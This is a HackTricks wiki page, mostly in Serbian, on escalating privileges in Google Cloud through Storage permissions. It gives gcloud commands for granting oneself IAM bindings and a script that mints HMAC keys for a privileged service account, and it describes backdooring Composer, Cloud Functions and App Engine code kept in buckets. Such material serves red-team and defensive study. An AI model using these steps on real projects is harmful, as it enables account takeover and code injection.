GCP - Storage Privesc

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Storage

Osnovne informacije:

GCP - Storage Enum

storage.objects.get

Ova dozvola vam omogućava da download files stored inside Cloud Storage. Ovo potencijalno može omogućiti eskalaciju privilegija jer su u nekim slučajevima sensitive information is saved there. Štaviše, neke GCP usluge čuvaju svoje informacije u buckets:

  • GCP Composer: Kada kreirate Composer Environment, kod svih DAG-ova biće sačuvan unutar bucket. Ti zadaci mogu sadržavati interesantne informacije u svom kodu.
  • GCR (Container Registry): image kontejnera se čuvaju u buckets, što znači da, ako možete čitati te buckets, bićete u mogućnosti da preuzmete image-e i search for leaks and/or source code.

storage.objects.setIamPolicy

Možete sebi dodeliti dozvolu da abuse any of the previous scenarios of this section.

# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

storage.buckets.setIamPolicy

Za primer kako izmeniti dozvole koristeći ovu permisiju, pogledajte ovu stranicu:

# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Funkcija Cloud Storage-a “interoperability”, namenjena za cross-cloud interactions kao što je AWS S3, obuhvata kreiranje HMAC keys za Service Accounts i korisnike. Napadač može ovo iskoristiti generisanjem HMAC key za Service Account sa povišenim privilegijama, čime dolazi do eskalacije privilegija unutar Cloud Storage-a. Dok su HMAC keys povezani sa korisnicima moguće povući samo preko web console, access i secret keys ostaju trajno dostupni, što omogućava potencijalno čuvanje rezervnih pristupa. Nasuprot tome, HMAC keys vezani za Service Accounts su API-accessible, ali njihovi access i secret keys se nakon kreiranja ne mogu povući, što komplikuje obezbeđivanje trajnog pristupa.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Još jedan exploit script za ovu metodu može se naći ovde.

storage.objects.create, storage.objects.delete = dozvole za upis u Storage

Da biste kreirali novi objekat unutar bucket-a potrebni su storage.objects.create i, prema the docs, takođe vam treba storage.objects.delete da biste izmenili postojeći objekat.

Veoma česta zloupotreba bucket-ova u koje možete pisati u cloud-u je kada bucket čuva fajlove web servera — moguće je smetnuti novi kod koji će biti korišćen od strane web aplikacije.

Composer

Composer je Apache Airflow koji se upravlja unutar GCP. Ima nekoliko interesantnih osobina:

  • Radi unutar GKE cluster-a, pa je SA koji cluster koristi dostupan kodu koji se izvršava unutar Composera
  • Svi delovi composer environment-a (code of DAGs, plugins i data) su smešteni unutar GCP bucket-a. Ako napadač ima dozvole za čitanje i pisanje nad njim, mogao bi da nadgleda bucket i kad god se DAG kreira ili ažurira, ubaci backdoored verziju tako da composer environment preuzme iz Storage-a backdoored verziju.

Možete naći PoC ovog napada u repo-u: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs

Cloud Functions

  • Cloud Functions kod se čuva u Storage-u i kad god se kreira nova verzija, kod se gurne u bucket i potom se od tog koda izgradi novi container. Dakle, prepisivanjem koda pre nego što se nova verzija izgradi moguće je naterati cloud function da izvrši proizvoljan kod.

Možete naći PoC ovog napada u repo-u: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions

App Engine

AppEngine verzije generišu neke podatke unutar bucket-a u formatu imena: staging.<project-id>.appspot.com. Unutar ovog bucket-a moguće je naći folder nazvan ae koji će sadržati folder po verziji AppEngine aplikacije i unutar tih foldera biće moguće naći fajl manifest.json. Taj fajl sadrži json sa svim fajlovima koji moraju biti korišćeni za kreiranje određene verzije. Pored toga, moguće je naći stvarna imena fajlova, URL do njih unutar GCP bucket-a (fajlovi unutar bucket-a su promenili ime u svoj sha1 hash) i sha1 hash svakog fajla.

Napomena: nije moguće napraviti preuzimanje ovog bucket-a unapred zato što GCP korisnici nisu autorizovani da kreiraju bucket-ove koristeći domen appspot.com.

Međutim, sa pristupom za čitanje i pisanje nad ovim bucket-om moguće je eskalirati privilegije na SA vezan za App Engine verziju tako što ćete nadgledati bucket i svaki put kada se izvrši promena (nova verzija), modifikovati novu verziju što je brže moguće. Na taj način, container koji se kreira iz tog koda će izvršiti backdoored kod.

Navedeni napad se može izvesti na više različitih načina, svi počinju nadgledanjem bucket-a staging.<project-id>.appspot.com:

  • Upload-ujte kompletan novi kod AppEngine verzije na drugi i dostupan bucket i pripremite manifest.json fajl sa novim imenom bucket-a i sha1 hash-evima fajlova. Zatim, kada se nova verzija kreira unutar bucket-a, potrebno je samo izmeniti manifest.json fajl i upload-ovati zlonamerni.
  • Upload-ujte izmenjenu verziju requirements.txt koja će koristiti zlonamerni dependencies kod i ažurirajte manifest.json fajl sa novim imenom fajla, URL-om i hash-om.
  • Upload-ujte izmenjeni main.py ili app.yaml fajl koji će izvršavati zlonamerni kod i ažurirajte manifest.json fajl sa novim imenom fajla, URL-om i hash-om.

Možete naći PoC ovog napada u repo-u: https://github.com/carlospolop/Monitor-Backdoor-AppEngine

GCR

  • Google Container Registry čuva image-e unutar bucket-ova; ako možete da pišete u te bucket-ove, možda ćete moći da se lateralno pomerite tamo gde se ti bucket-ovi pokreću.
  • Bucket koji koristi GCR će imati URL sličan gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (top-level subdomeni su specificirani here).

Tip

Ova usluga je deprecated pa ovaj napad više nije koristan. Pored toga, Artifact Registry, servis koji je zamenjuje, ne čuva image-e u bucket-ovima.

Referencije

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks